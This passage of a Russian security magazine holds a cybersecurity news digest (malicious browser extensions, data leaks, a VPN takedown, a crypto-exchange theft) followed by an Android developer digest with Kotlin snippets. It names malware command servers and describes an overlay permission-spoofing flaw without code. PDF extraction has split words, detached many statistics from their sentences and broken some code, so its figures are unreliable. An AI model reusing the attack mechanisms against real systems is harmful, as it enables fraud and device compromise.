дуем  всем,  кто  выпол нил шаги  по  уста нов ке  кор невого  сер тифика та
пра витель ства  Казах ста на,  уда лить  его  со  сво их  устрой ств  и  немед- 
ленно изме нить свои пароли», — пишут соз датели Firefox.

12 ЯНВАРЯ 2021 ГОДА

В  декаб ре  ком пания  Adobe  выпус тила  пос леднее  обновле ние  для  Flash  и  теперь  жес тко
рекомен дует  поль зовате лям  уда лить  при ложе ние  до  того,  как  его  прек ратят  под держи вать
в кон це текуще го года. Дело в том, что начиная с   (это и есть фак тичес‐ 
кая «дата смер ти» Flash) Adobe будет бло киро вать запуск любого Flash‐кон тента.

12 янва ря 2021 года

Да же если поль зователь не пот рудит ся уда лить Flash самос тоятель но, еще нес коль ко месяцев
назад ком пания добави ла в код сво еоб разную «часовую бом бу», которая пре дот вра тит исполь‐ 
зование при ложе ния в будущем.

Ожи дает ся, что «смерть» Flash ока жет минималь ное вли яние на веб‐эко сис тему, ведь, сог ласно
дан ным W3Techs,  лишь    сай тов  до  сих  пор  исполь зуют  Flash,  то  есть  этот  показа тель
серь езно сни зил ся за пос ледние годы (нап ример, в 2011 году рыноч ная доля Flash сос тавля ла

).

2,3%

28,5%

ЯНДЕКС ПРОТИВ
РАСШИРЕНИЙ
Спе циалис ты  ком паний  «Яндекс»  и  «Лабора тория  Кас пер ско го»  наш ли
потен циаль но  вре донос ный  код  в  популяр ных  бра узер ных  рас ширени ях.
В ито ге были отклю чены SaveFrom.net, Frigate Light, Frigate CDN и ряд дру гих
рас ширений (в общей слож ности более двад цати), чья сум марная ауди тория
пре выша ла 8 мил лионов человек.

Ин женеры Яндекса рас ска зали, что некото рое вре мя назад им ста ли пос‐ 
тупать жалобы поль зовате лей на некий стран ный звук,  который мож но было
при нять  за  голосо вую  рек ламу,  хотя  в  бра узе ре  не  было  откры то  ничего
подоз ритель ного.

Как ока залось, у всех пос тра дав ших было уста нов лено рас ширение для заг‐ 
рузки видео от сер виса SaveFrom.net и его отклю чение дей стви тель но отклю‐ 
чало  и  стран ные  фоновые  зву ки.  Пред ста вите ли  Яндекса  свя зались  с  раз‐ 
работ чиками рас ширения. Те выс казали пред положе ние, что это ошиб ки кон‐ 
верте ра,  и  внес ли  исправ ления.  Пос ле  это го  обновле ния  рас ширения
жалобы на звук прек ратились.

Од нако  в  нояб ре  текуще го  года  антифрод‐коман да  Яндекса  вновь
заподоз рила  нелад ное.  Спе циалис ты  получи ли  сиг нал  о  том,  что  кто‐то
исполь зует ауди торию популяр ных бра узе ров для нак рутки прос мотров видео
в онлайн‐киноте атрах. Поль зовате ли на самом деле не видели видео, потому
что  оно  вос про изво дилось  на фоне.  Тем  не менее  это  при води ло  к  сущес‐ 
твен ному  пот ребле нию  тра фика  и  перег ружало  работой  вычис литель ные
ресур сы  компь юте ра,  и  такое  поведе ние  никак  нель зя  было  наз вать  доб‐ 
росовес тным.

«На  пос торон ний  звук  боль ше  ник то  не  жаловал ся.  Это мож но  было
лег ко  объ яснить  соз натель ным  исклю чени ем  ауди тории  Яндекс.Бра- 
узе ра из целевой. Подоб ные попыт ки избе жать вни мания со сто роны
нашего  антифро да  мы  уже  неод нократ но  встре чали  в  прош лом
при ана лизе поведе ния рас ширений из Chrome Web Store (напом ним,
что наш бра узер под держи вает уста нов ку в том чис ле из это го катало- 
га).

Но  все  ока залось  куда  про ще:  на  этот  раз  фоновое  вос про изве- 
дение  видео  про ходи ло  в  без звуч ном  режиме.  Вско ре  кол леги
из  служ бы  информа цион ной  безопас ности  выяс нили,  что  проб лема
зат рагива ет не толь ко внеш них поль зовате лей нашего бра узе ра, но и
даже наших кол лег. Так мы получи ли проб лемные ноут буки для иссле- 
дова ния и наконец‑то смог ли деталь но разоб рать ся в про исхо дящем.

На  проб лемных  устрой ствах  наших  кол лег  были  уста нов лены рас- 
ширения SaveFrom.net, Frigate Light или Frigate CDN. Источник их уста- 
нов ки  зна чения не имел  (SaveFrom.net мог быть  уста нов лен с сай та,
а Frigate — нап рямую из катало га Chrome Web Store)», — рас ска зыва- 
ют спе циалис ты в бло ге ком пании.

В ито ге ока залось, что оба рас ширения семей ства Frigate (Light и CDN) име‐ 
ют один и тот же учас ток кода, который отве чает за динами чес кую под груз ку
и исполне ние JS‐скрип тов. Таким спо собом рас ширения в фоне под тягива ли
потен циаль но вре донос ный код.

«Этот код совер шает зап рос по адре су fri-gate.org/config.txt и получа- 
ет адрес коман дно го сер вера для даль нейшей работы. Такое решение
поз воля ет  без  обновле ния  рас ширения  менять  адре са  коман дно го
сер вера, если с ним что‑то пош ло не так. В момент нашего ана лиза
коман дным сер вером был gatpsstat.com.

Раз  в  час  рас ширения  совер шают  зап рос  к  коман дно му  сер веру
в  обра бот чик  /ext/stat.  При  пер вом  зап росе  им  выс тавля ется  cookie,
которая  содер жит  UUID  поль зовате ля.  Ответ  сер вера  декоди рует ся
и  попада ет  в фун кцию debug(),  которая,  по  сути,  явля ется фун кци ей
eval() для выпол нения JS-кода», — гла сит отчет.

Ин терес но, что все рас ширения име ют воз можность динами чес ки выпол нять
JS‐код, который они получа ют раз в час из обра бот чика /ext/stat. Этот JS‐код
в раз ные момен ты мог быть любым, сколь угод но опас ным. Скры тое вос про‐ 
изве дение видео, воз можно, лишь один из мно жес тва воз можных сим пто мов,
приз нают экспер ты.

Так же  обна ружи лось,  что  сом нитель ная  активность  прек ращалась,  если
поль зователь  откры вал  адрес  под дер жки  Яндекс.Бра узе ра  или  слу жеб ную
стра ницу для ана лиза тра фика.

В ито ге спе циалис ты приш ли к выводу, что рас ширения получа ли задания
от собс твен ного управля юще го сер вера и генери рова ли фрод‐тра фик, про‐ 
игры вая видео в скры тых вклад ках, а так же име ли воз можность перех ватывать
oAuth‐токены  «ВКон такте»  (прав да,  неяс но,  исполь зовал ся  ли  дан ный
механизм на прак тике). Схе ма запус калась толь ко в слу чае активно го исполь‐ 
зования  бра узе ра,  при  этом  код  вклю чал  в  себя  защиту  от  обна руже ния,
вклю чая обфуска цию и сжа тия.

«Мы  счи таем  опи сан ное  поведе ние  потен циаль но  опас ным  и  недоб- 
росовес тным, поэто му при няли решение отклю чить в Яндекс.Бра узе ре
уже  уста нов ленные  копии  рас ширений  SaveFrom.net,  Frigate  Light,
Frigate  CDN  и  некото рых  дру гих.  Поль зовате ли  этих  рас ширений
получат  уве дом ление,  в  котором  мы  рас ска жем  о  при чинах  отклю- 
чения.  Пос ле  это го  они  смо гут  при нять  осоз нанное  решение  и  при
необ ходимос ти вклю чить их вновь (хотя мы нас тоятель но рекомен дуем
так не пос тупать).

Кро ме того, мы переда ли резуль таты нашего тех ничес кого ана лиза
кол легам  из  „Лабора тории  Кас пер ско го“  и  Google.  В  „Лабора тории
Кас пер ско го“  уже  под твер дили  наличие  потен циаль но  вре донос ной
сос тавля ющей в рас ширени ях, теперь про дук ты ком пании детек тиру ют
эту  угро зу  и  бло киру ют  свя зан ные  с  ней  URL-адре са  и  фраг менты
скрип тов», — резюми руют ана лити ки Яндекса.

 ВЛАДЕЛЬЦЕВ LEDGER270 000
Ле том текуще го года ком пания Ledger, про изво дящая аппа рат ные кошель ки для крип товалют,
пос тра дала от утеч ки дан ных: уяз вимость на сай те про изво дите ля поз волила зло умыш ленни кам
получить дос туп к кон так тной информа ции поль зовате лей.

Те перь  на  хакер ских форумах  был  обна ружен  архив,  содер жащий  адре са  элек трон ной  поч ты
, которые под писались на информа цион ную рас сылку Ledger, а так же име‐ 

на и поч товые адре са  , которые при обре ли устрой ства Ledger.
1 075 382 человек

272 853 человек

Пред ста вите ли Ledger под твер дили, что этот дамп, веро ятнее все го, свя зан с лет ней утеч кой
дан ных. Хуже того, по информа ции ИБ‐спе циалис тов, эти дан ные про дают ся на чер ном рын ке
с августа 2020 года.

ЗАКРЫТИЕ
«ХАКЕРСКИХ» VPN
Пра воох ранитель ные  орга ны  США,  Гер мании,  Фран ции,  Швей царии
и Нидер ландов  про вели  сов мес тную опе рацию Nova,  нап равлен ную на  зак‐ 
рытие VPN‐сер висов,  чьи мощ ности при меня лись хакера ми для про веде ния
атак  шиф роваль щиков,  веб‐ским минга,  нап равлен ного  фишин га  и  зах вата
акка унтов.

В  резуль тате  опе рации  были  зак рыты  сер висы  insorg.org,  safe‐inet.com
и  safe‐inet.net.  В  понедель ник  на  этих  сай тах  появи лись  соот ветс тву ющие
«заг лушки», информи рующие об арес те доменов. Все эти сер висы работа ли
более десяти лет,  и  сле дова тели полага ют,  что ими  управлял один и  тот же
человек  или  груп па  людей.  Впро чем,  пока  никаких  обви нений  опе рато рам
сер висов, похоже, предъ явле но не было.

Эти  «пуленеп робива емые» VPN активно рек ламиро вались  как  на рус ско‐ 
языч ных,  так и на англо языч ных  хак‐форумах, и их  услу ги сто или от 1,3 дол‐ 
лара  в  день  до  190  дол ларов  в  год. Напом ню,  что  тер мин  «пуленеп робива‐ 
емый»  чаще  при меня ется  к  хос тинг‐про вай дерам  и  под разуме вает,  что  те
не уда ляют нелегаль ный кон тент, нес мотря на мно гок ратные зап росы со сто‐ 
роны влас тей, и фак тичес ки пок рыва ют прес тупни ков.

Пред ста вите ли  Минис терс тва  юсти ции  США  и  Евро пола  заяви ли,  что
перечис ленные VPN‐про вай деры спо собс тво вали мас киров ке реаль ных лич‐ 
ностей  хакеров‐вымога телей,  работа ли  с  Magecart‐груп пиров ками
(веб‐ским минг),  фишера ми  и  хакера ми,  учас тво вав шими  в  зах вате  чужих
учет ных записей.

Сер веры VPN‐про вай деров были арес тованы в пяти стра нах мира, где те
раз мещали кон тент. Пред ста вите ли Евро пола заяви ли, что намере ны про ана‐ 
лизи ровать  соб ранную  с  сер веров  информа цию  и  воз будить  дела  про тив
некото рых поль зовате лей. 
Ин терес но,  что  при  этом  опе рато ры  Safe‐Inet  уже  сооб щили  в  соци аль ных
сетях, что им извес тно о «проб леме». Они обе щают, что в бли жай шее вре мя
работа сер висов будет вос ста нов лена.

RDP‐АТАКИ
Ана лити ки  «Лабора тории  Кас пер ско го»  пред ста вили  отчет  «Уда лен ка  —  исто рия  года»,
в  котором под вели ито ги  года в  све те пан демии  корона виру са,  а  так же рас ска зали об изме‐ 
нени ях,  которые  про изош ли  в  ком пани ях  по  все му  миру  в  свя зи  с  перехо дом  на  уда лен ную
работу.

Ока залось,  что  с  янва ря по ноябрь 2020  года  количес тво RDP‐атак  уве личи лось  в  :
за  этот  пери од  было  зафик сирова но    таких  инци ден тов.  Экспер ты  объ ясня ют
это мас совым перехо дом сот рудни ков на уда лен ный режим работы: чис ло под клю чений по RDP
зна читель но уве личи лось, чем и пос пешили вос поль зовать ся зло умыш ленни ки.

3,4  раза
174  000  000

В фев рале, до вве дения стро гого каран тина, чис ло атак через RDP сос тавля ло  , а в
мар те, с уси лени ем огра ничи тель ных мер, — уже  . Пик мошен ничес кой активнос ти
при шел ся  на  июль  текуще го  года  (более    атак),  а  в  нояб ре  этот  показа тель  был
равен поч ти  .

3 800 000
11 100 000

25 100 000
18 000 000

Так же из отче та вид но,  что мошен ники активно экс плу ати рова ли популяр ность мес сен дже ров
и сер висов для видео‐ и  кон ференц‐свя зи,  под видом которых рас простра няли вре донос ный
софт. В 2020 году ком пания выяви ла поч ти   уни каль ных вре донос ных фай лов по все‐ 
му  миру,  замас кирован ных  подоб ным  обра зом.  Обыч но  эти  фай лы  пред став ляли  собой  заг‐ 
рузчи ки и рек ламное ПО.

1 700 000

ВЗЛОМ EXMO
Крип товалют ная  бир жа  EXMO  сооб щила,  что  неиз вес тные  хакеры  похити ли
поч ти 5% ее акти вов, ском про мети ровав горячие кошель ки. По офи циаль ной
ста тис тике EXMO, суточ ный объ ем тор гов бир жи сос тавля ет 2273 BTC  (поч‐ 
ти  52  мил лиона  дол ларов),  а  количес тво  активных  трей деров  рав няет‐ 
ся 27 795.

Пред ста вите ли EXMO пишут, что 21 декаб ря 2020 года (2:27:02 UTC) были
замече ны подоз ритель ные и круп ные опе рации по выводу средств, и в ито ге
на бир же были вре мен но при оста нов лены все опе рации по выводу средств,
а поль зовате лей про сили вре мен но не попол нять депози ты.

«Мы  еще  занима емся  рас сле дова нием  инци ден та,  но  на  дан ный
момент  аудит  безопас ности  показал,  что  некото рые  сум мы  в  BTC,
XRP, ZEC, USDT, ETC и ETH были выведе ны с горячих кошель ков бир- 
жи. Зат ронутые горячие кошель ки содер жали око ло 5% от всех акти- 
вов.  Под черки ваем,  что  все  акти вы  в  холод ных  кошель ках  находят ся
в безопас ности», — гла сило заяв ление ком пании.

EXMO  рас сле дует  инци дент  сов мес тно  с  лон дон ской  полици ей  и  сво ей
коман дой по борь бе с кибер прес тупностью. Бир жа обе щает про вес ти «тща‐ 
тель ную  про вер ку  безопас ности»  всех  сис тем  и  дан ных  и  активно  работать
над поис ком при чины слу чив шегося. Так же пред ста вите ли EXMO под чер кну‐ 
ли,  что все убыт ки, понесен ные пос тра дав шими поль зовате лями, будут пол‐ 
ностью пок рыты и воз мещены за счет бир жи.

По информа ции изда ния The Block, общая сум ма ущер ба может сос тавить
око ло 10 500 000 дол ларов по кур сам на момент ата ки. Так, по информа ции
ана лити ков,  зло умыш ленни ки  похити ли  (и  в  основном  вывели  на  бир жу
Poloniex) сле дующие объ емы крип товалют:

292 BTC (око ло 6,5 мил лиона дол ларов США), а еще 18,5 BTC (415 тысяч
дол ларов США) ожи дали под твержде ния в мем пуле;

•

867 ETH (521 900 дол ларов США);•
476 521 XRP (247 700 дол ларов США);•
20 651 ETC (126 800 дол ларов США);•
50 000 USDT (50 тысяч дол ларов США);•
39 285 ZEC (2,7 мил лиона дол ларов США).•

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Ана лиз четырех мил лионов Docker‐обра зов показал, что полови на из них содер жит кри тичес кие
уяз вимос ти

Ра бота общес твен ного тран спор та Ван кувера наруши лась из‐за хакер ской ата ки

Опе рато ры шиф роваль щиков начали зво нить сво им жер твам

Facebook заб локиро вала акка унты чле нов APT32 и рас кры ла их лич ности

Microsoft рас ска зала о мал вари Adrozek, взло мав шей более 30 тысяч бра узе ров

В Chrome зарабо тал бло киров щик «тяжелой» рек ламы

Спе циалис ты Elcomsoft заяви ли, что защита пакета «Мой Офис» уста рела

ФБР и Интерпол наруши ли работу кар дер ско го ресур са Joker’s Stash

36 сот рудни ков «Аль‐Джа зира» были взло маны через уяз вимость в iOS

Nintendo сле дила за хакером, работав шим над взло мом кон соли 3DS

https://xakep.ru/2015/12/03/great-firewall-of-kz/
https://xakep.ru/2020/12/03/docker-hub-analisys/
https://xakep.ru/2020/12/04/translick/
https://xakep.ru/2020/12/07/ransomware-calls/
https://xakep.ru/2020/12/11/apt32-cyberone-group/
https://xakep.ru/2020/12/11/adrozek/
https://xakep.ru/2020/12/15/chrome-heavy-ads-2/
https://xakep.ru/2020/12/17/myoffice-crypto/
https://xakep.ru/2020/12/18/joker-s-stash-domains-seized/
https://xakep.ru/2020/12/21/kismet/
https://xakep.ru/2020/12/28/nintendo-surveillance/
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Се год ня  в  выпус ке:  оче ред ное  напоми‐ 
нание,  что  диало ги  зап росов  пол номочий
в  Android  мож но  под менить,  инс трук ция,
как  опти мизи ровать  пот ребле ние  памяти
при ложе нием,  рас сказ  об  отли чиях  Ar‐
rayMap  и  SparseArray  от  HashMap,  уль тра‐ 
корот кая  инс трук ция  по  соз данию  ана лога
RecyclerView с помощью Jetpack Compose,
инс трук ции по огра ниче нию видимос ти API
биб лиотек.  А  так же:  оче ред ная  под борка
биб лиотек  для  прог раммис тов  и  инс тру‐ 
мен тов для пен теста.

ПОЧИТАТЬ

Подмена диалогов запроса полномочий
  —  статья  об  уяз вимос ти  Android,

поз воля ющей под менить сис темный диалог зап роса раз решений сво им, что‐ 
бы  обма ном  зас тавить  поль зовате ля  выдать  при ложе нию  опас ные  пол‐ 
номочия.

Под меня ем  Runtime  permissions  в  Android

В  целом  в  статье  нет  ничего  нового,  и  она  прос то  опи сыва ет  извес тный
баг,  а  точ нее,  оче ред ной  design  flaw  Android,  свя зан ный  с  овер леями.  Если
крат ко, суть исто рии в том, что в Android есть спе циаль ное раз решение SYS‐
TEM_ALERT_WINDOW,  поз воля ющее  «рисовать»  поверх  любых  дру гих  окон.
Это же раз решение мож но исполь зовать  в  корыс тных целях,  что бы нарисо‐ 
вать поверх сис темно го окна зап роса пол номочий, исполь зуемо го при ложе‐ 
ниями  для  зап роса  прав  на  то  или  иное  дей ствие,  свое  собс твен ное  окно,
которое  пред лага ет  поль зовате лю  дать  раз решение  на  дру гое,  более
безобид ное дей ствие.

Google  в  кур се  этой  проб лемы  и  даже  «испра вила»  ее  сра зу  при  появ‐ 
лении в Android сис темы зап роса раз решений (Android 6.0), но уже в вер сии
Android  7.0  отка залась  от  исправ ления  из‐за  мно гочис ленных  жалоб  поль‐ 
зовате лей  соф та  с  фун кци ей  SYSTEM_ALERT_WINDOW  (экранные  филь тры,
сис темы  жес товой  навига ции,  раз личные  всплы вающие  меню  и  так  далее).
Сис тема прос то бло киро вала воз можность дать раз решение, если на экра не
находил ся овер лей.

На пом ним,  что  SYSTEM_ALERT_WINDOW  —  одна  из  самых  серь езных
проб лем Android. На ней пос тро ена опас ная ата ка Cloak & Dagger, ее исполь‐ 
зуют мно гие  бло киров щики  экра на  и  бан ков ские  тро яны. Одна ко  испра вить
эту  проб лему,  не  сло мав  сов мести мость  с  сущес тву ющим  соф том,  невоз‐ 
можно, и Google при ходит ся искать пути миними зации рис ка. Для это го уже
было сде лано нес коль ко шагов.
1. В  Google  Play  теперь  есть  белый  спи сок  при ложе ний,  которые  могут
получить  раз решение    без  необ ходимос ти  его
зап рашивать  (рань ше все при ложе ния из Google Play получа ли его авто‐ 
мати чес ки).

SYSTEM_ALERT_WINDOW

2. На чиная  с  Android  8  овер леи  не  могут  перек рывать  стро ку  сос тояния,
а сам овер лей мож но быс тро отклю чить в панели уве дом лений. Это сде‐ 
лано для борь бы с  ransomware,  показы вающи ми поверх экра на овер лей,
который нель зя никаким обра зом отклю чить.

3. На чиная с Android 10 при ложе ния, уста нов ленные не из Google Play, лиша‐ 
ются раз решения на показ овер леев через 30 секунд пос ле того, как при‐ 
ложе ние будет завер шено или переза пуще но. При ложе ния из Google Play
лишат ся это го раз решения пос ле перезаг рузки.

4. В нас трой ках Android теперь есть опция, пол ностью зап реща ющая исполь‐ 
зовать овер леи поверх окна нас тро ек (по умол чанию отклю чена).

РАЗРАБОТЧИКУ

Как сократить расход памяти приложением
 — оче ред ная статья о спо‐ 

собах сок ратить исполь зование опе ратив ной памяти при ложе нием.
Decrease memory usage of your Android app in half

  Это  мож но  сде лать,  исполь зуя  инс тру мент
,  который будет показы вать  уве дом ление каж дый раз,  ког да есть

подоз рение на утек шую активность, диалог или фраг мент.

Ус тра ни  утеч ки  памяти.

LeakCanary

  Обыч ные  Bitmap’ы,  исполь зуемые  в  при ложе нии,  могут  при вес ти
к  ошиб ке OutOfMemoryError,  ког да  при ложе ние  завер шает ся  из‐за  нех ватки
памяти. Что бы это го избе жать, мас шта бируй изоб ражения до мень шего раз‐ 
мера, при меняй кеширо вание и сво евре мен но уда ляй закеши рован ную гра‐ 
фику.  Вот  нес коль ко  советов,  как  сде лать  это  с  помощью  популяр ной  биб‐ 
лиоте ки заг рузки изоб ражений Glide:

Про ана лизи руй  исполь зование  памяти  гра фичес кими  эле мен- 

тами.

• По  умол чанию  биб лиоте ка  исполь зует фор мат  ARGB_8888  для  хра нения
изоб ражений. Изме нив его на RGB_565, мож но вдвое сок ратить исполь‐ 
зование памяти, не силь но потеряв в качес тве (мож но исполь зовать толь‐ 
ко на low‐end‐устрой ствах):

@GlideModule
       class CustomGlideModuleV4 : AppGlideModule() {

              
 

override fun applyOptions(context: Context, builder:
GlideBuilder) {
        builder.setDefaultRequestOptions(
            RequestOptions().format(DecodeFormat.PREFER_RGB_565)
        )
    }

}

GlideApp.with(view.context)
    .load("$imgUrl$IMAGE_URL_SIZE_SPEC")
    .into(view)

• Из бежать  проб лемы  мож но,  очи щая  кеш  изоб ражений  при  нех ватке
памяти.  Для  это го  добавь  в  Application‐класс  при ложе ния  сле дующие
стро ки:

       override fun onTrimMemory(level: Int) {
    GlideApp.with(applicationContext).onTrimMemory(
TRIM_MEMORY_MODERATE)
    super.onTrimMemory(level)
}

• Что бы умень шить раз мер изоб ражения, мож но исполь зовать такой код:

Glide
    .with(context)
    .load(url)
        .apply(new RequestOptions().override(600, 200))
    .into(imageView);

  При  исполь зовании  пат терна
«Одна активность», ког да в при ложе нии есть все го одна активность (Activity),
а  все  экра ны  пред став ляют  собой  фраг менты  (Fragment),  ты  можешь
заметить,  что  при  переме щении  на  новый  фраг мент  ста рый  фраг мент
не унич тожа ется. Это стан дар тное поведе ние фраг ментов, поэто му заботить‐ 
ся  об  осво бож дении  памяти  дол жен  ты  сам.  Для  это го  дос таточ но  самос‐ 
тоятель но унич тожать все View в методе  .

Про верь  код  навига ции  при ложе ния.

onDestroyView()
Дру гие советы:
при  исполь зовании  RecyclerView  по  воз можнос ти  исполь зуй 

 вмес то  ;
• noti

fyItemChanged() notifyDataSetChanged()

не  соз давай  допол нитель ных  объ ектов‐обер ток  там,  где  это го  мож но
избе жать;

•

умень ши  раз мер  APK,  это  при ведет  к  умень шению  памяти,  занима емой
при ложе нием;

•

не хра ни объ екты «на вся кий слу чай»;•
за пус кай бен чмар ки на релиз ных бил дах;•
из бавь ся от избы точ ных ани маций.•

Kotlin и видимость API
 — статья о  том,  как сде лать интерфей сы биб‐ 

лиотек  как  мож но  более  зак рытыми,  сох ранив  гиб кость,  воз можнос ти  тес‐ 
тирова ния и воз можность вза имо дей ство вать с кодом на Java.

Mastering API Visibility  in Kotlin

1.   — твой друг. Этот модифи катор видимос ти чем‐то похож на pack‐
age  private  в  Java,  но  пок рыва ет  не  пакет,  а  целый  модуль.  Все  клас сы,
поля  и  методы,  помечен ные  этим  клю чевым  сло вом,  будут  вид ны  толь ко
внут ри текуще го модуля.

Internal

2. Мо дифи катор    мож но  исполь зовать  сов мес тно  с  анно таци ей
, что бы тес ты мог ли дос тучать ся до нуж ных методов

и полей:

internal
@VisibleForTesting

   @VisibleForTesting(otherwise = PRIVATE)
     internal var state: State

3. В Java нет модифи като ра  , поэто му в байт‐коде все, что помече‐ 
но этим клю чевым сло вом, ста нет  ,  но с одним важ ным отли чием:
к его име ни при бавит ся наз вание модуля. Нап ример, метод 
со  сто роны  Java  будет  выг лядеть  как  .  Это го
мож но  избе жать  с  помощью  анно тации  ,  поз воля ющей  ука зать
дру гое имя для исполь зования из Java:

internal
public

createEntity
createEntity$имяМодуля
@JvmName

   class Repository {
    @JvmName("pleaseDoNotCallThisMethod")
              internal fun createEntity() { ... }
}

Ес ли же метод не дол жен быть виден вооб ще, мож но исполь зовать анно‐ 
тацию  :@JvmSynthetic

   class Repository {
    @JvmSynthetic
              internal fun createEntity() { ... }
}

4.   —  твой  вто рой  друг.  В  Kotlin  все  объ явле ния  по  умол‐ 
чанию получа ют модифи катор public.  А  это  зна чит,  что шанс  забыть  сде‐ 
лать метод   или   высок. Спе циаль но для борь бы с этой
проб лемой  в  Kotlin  1.4  появил ся  Explicit  API  mode,  который  зас тавля ет
добав лять  модифи катор  видимос ти  к  любым  объ явле ниям.  Что бы  его
вклю чить, дос таточ но добавить три стро ки в кон фиг Gradle:

Explicit  API mode

internal private

 kotlin {
    explicitApi()
}

5. Од но из неожи дан ных следс твий исполь зования   — инлай новые
фун кции не смо гут исполь зовать методы, помечен ные этим клю чевым сло‐ 
вом.  Так  про исхо дит  потому,  что  код  инлай новой  фун кции  пол ностью
встра ивает ся  в  вызыва ющий  код,  а  он  не  име ет  дос тупа  к  методам,
помечен ным как  . Решить эту проб лему мож но с помощью анно‐ 
тации  . Она сде лает метод дос тупным для инлай новых фун‐ 
кций, но оста вит зак рытым для всех осталь ных:

internal

internal
@PublishedApi

@PublishedApi
     internal fun secretFunction() {

    println("through the mountains")
}

       public inline fun song() {
    secretFunction()
}

   fun clientCode() {
      song() // ok
      secretFunction() // Нет доступа
}

Что такое ArrayMap и SparseArray
  —  статья  об  ArrayMap

и SparseArray,  двух фир менных,  но  не  так  хорошо извес тных  кол лекци ях  An‐
droid. Обе  кол лекции по  сути  ана логи HashMap из  Java  с  тем исклю чени ем,
что они соз даны спе циаль но, что бы миними зиро вать пот ребле ние опе ратив‐ 
ной памяти.

All  you  need  to  know  about  ArrayMap  &  SparseArray

В  отли чие  от  HashMap,  который  для  хра нения  каж дого  объ екта  соз дает
новый объ ект и сох раня ет его в мас сиве, ArrayMap не соз дает допол нитель‐ 
ный  объ ект,  но  исполь зует  два  мас сива:  mHashes  для  пос ледова тель ного
хра нения  хешей  клю чей  и  mArray  для  хра нения  клю чей  и  их  зна чений  (друг
за дру гом). Началь ный раз мер пер вого — четыре, вто рого — восемь.

Ана томия ArrayMap

При  добав лении  эле мен та  ArrayMap  сна чала  добав ляет  его  хеш  в  пер вый
мас сив,  а  затем  ключ  и  зна чение  во  вто рой мас сив,  где  индекс  клю ча  выс‐ 
читыва ется  как  индекс  хеша  в  мас сиве  mHashes,  умно жен ный  на  два,
а индекс зна чения как индекс клю ча плюс один. В слу чае кол лизии (ког да два
раз ных клю ча име ют оди нако вый хеш) ArrayMap про изво дит линей ный поиск
клю ча в mArray и, если он не най ден, добав ляет новый хеш в mHashes и новые
ключ:зна чение в mArray. При дос тижении пре дель ного раз мера мас сивов Ar‐
rayMap  копиру ет  их  в  новый  мас сив,  раз мер  которо го  выс читыва ется  так:

 (4 → 8 → 12 → 18 → 27 → ...).oldSize+(oldSize>>1)
SparseArray  пред став ляет  собой  тот  же  ArrayMap,  но  пред назна чен ный

для работы с типами дан ных, где ключ — это int, а зна чение может быть либо
объ ектом,  либо  прос тым  типом  дан ных:  int,  long,  boolean  (SparseIntArray,
SparseLongArray, SparseBooleanArray). В ито ге SparseArray нет необ ходимос ти
хра нить обер тки над прос тыми типами дан ных.

Бла года ря избавле нию от необ ходимос ти хра нить допол нитель ный объ ект
для  каж дого  эле мен та,  ArrayMap  ока зыва ется  при мер но  на  25%  эко ном нее
HashMap, а SparseArray поч ти в два раза эко ном нее.

HashMap vs ArrayMap vs SparseArray: исполь зование памяти
для 1000 объ ектов

В  то  же  вре мя  ArrayMap  и  SparseArray  в  целом  в  два  раза  мед леннее
HashMap.

HashMap vs ArrayMap vs SparseArray: ран домные опе рации чте ния

Вы воды:
по воз можнос ти исполь зуй ArrayMap;•
ис поль зуй SparseArray, если клю чи име ют тип int;•
ес ли раз мер кол лекции известен — ука зывай его в конс трук торе.•

RecyclerView с помощью Jetpack Compose
  —  крат кая  замет ка  о  том,

как  соз дать  собс твен ный  RecyclerView,  исполь зуя  биб лиоте ку  Jetpack
Compose.

How  to  make  a  RecyclerView  in  Jetpack  Compose

RecyclerView —  извес тный  и  очень  популяр ный  эле мент  интерфей са  An‐
droid, поз воля ющий соз дать динами чес ки фор миру емый (бес конеч ный) спи‐ 
сок  эле мен тов  с  ленивой  заг рузкой  и  пере исполь зуемы ми  эле мен тами  UI.
Говоря прос тыми сло вами: RecyclerView — это быс трый спи сок из про изволь‐ 
ного количес тва эле мен тов, который будет рас ходовать память толь ко на те
эле мен ты, что в дан ный момент находят ся на экра не.

RecyclerView — очень мощ ный и слож ный инс тру мент. Что бы соз дать спи‐ 
сок с его помощью, необ ходимо соз дать сам RecyclerView, под клю чить к нему
адап тер,  который  будет  напол нять  его  эле мен тами,  под клю чить  менед жер
лей аутов и соз дать один или нес коль ко viewHolder’ов, которые будут хра нить
гра фичес кое пред став ление эле мен тов спис ка.

А  теперь  пос мотрим,  как  соз дать  ана лог RecyclerView  с  исполь зовани ем
фрей мвор ка Jetpack Compose:

 data class ItemViewState(
          val text: String

)

@Composable
 fun MyComposeList(

            modifier: Modifier = Modifier,
        itemViewStates: List<ItemViewState>

 ) {
                 

 
LazyColumnFor(modifier = modifier, items = itemViewStates) {

viewState ‐>
          MyListItem(itemViewState = viewState)

   }
}

@Composable
     fun MyListItem(itemViewState: ItemViewState) {

       Text(text = itemViewState.text)
}

Это дей стви тель но все.

Валидация форм с помощью Kotlin Flow
 — корот кая замет ка о том, как реали‐ 

зовать валида цию форм с помощью Kotlin Flow. Инте рес на в пер вую оче редь
в  качес тве  прос той  и  наг лядной  демонс тра ции  работы  недав но  появив‐ 
шегося StateFlow.

Using Flows for Form Validation in Android

До пус тим, у нас есть фор ма с тре мя полями: First Name, Password и User Id.
Наша задача — сде лать так, что бы кноп ка Submit акти виро валась лишь в том
слу чае, если поле First Name содер жит толь ко сим волы латин ско го алфа вита,
поле Password содер жит как минимум восемь сим волов, а поле User Id содер‐ 
жит хотя бы один сим вол под черки вания.

Для хра нения текуще го зна чения поля будем исполь зовать StateFlow:

       private val _firstName = MutableStateFlow("")
       private val _password = MutableStateFlow("")
       private val _userID = MutableStateFlow("")

До пол нитель но  соз дадим  три  метода,  что бы  записы вать  зна чения  в  эти
StateFlow:

     fun setFirstName(name: String) {
       _firstName.value = name
}

     fun setPassword(password: String) {
       _password.value = password
}

     fun setUserId(id: String) {
       _userID.value = id
}

Те перь  объ еди ним  все  три  StateFlow  в  один  Flow,  который  будет  отда вать
толь ко зна чения true или false:

           
         

val isSubmitEnabled: Flow<Boolean> = combine(_firstName, _password,
_userID) { firstName, password, userId ‐>
         val regexString = "[a‐zA‐Z]+"
         val isNameCorrect = firstName.matches(regexString.toRegex())
             val isPasswordCorrect = password.length > 8
         val isUserIdCorrect = userId.contains("_")
             return@combine isNameCorrect and isPasswordCorrect and
isUserIdCorrect
}

Этот  код  будет  запус кать ся  каж дый  раз,  ког да  сос тояние  любого  из  трех
StateFlow изме нит ся.

Те перь оста лось толь ко при вязать три пер вых StateFlow к полям вво да:

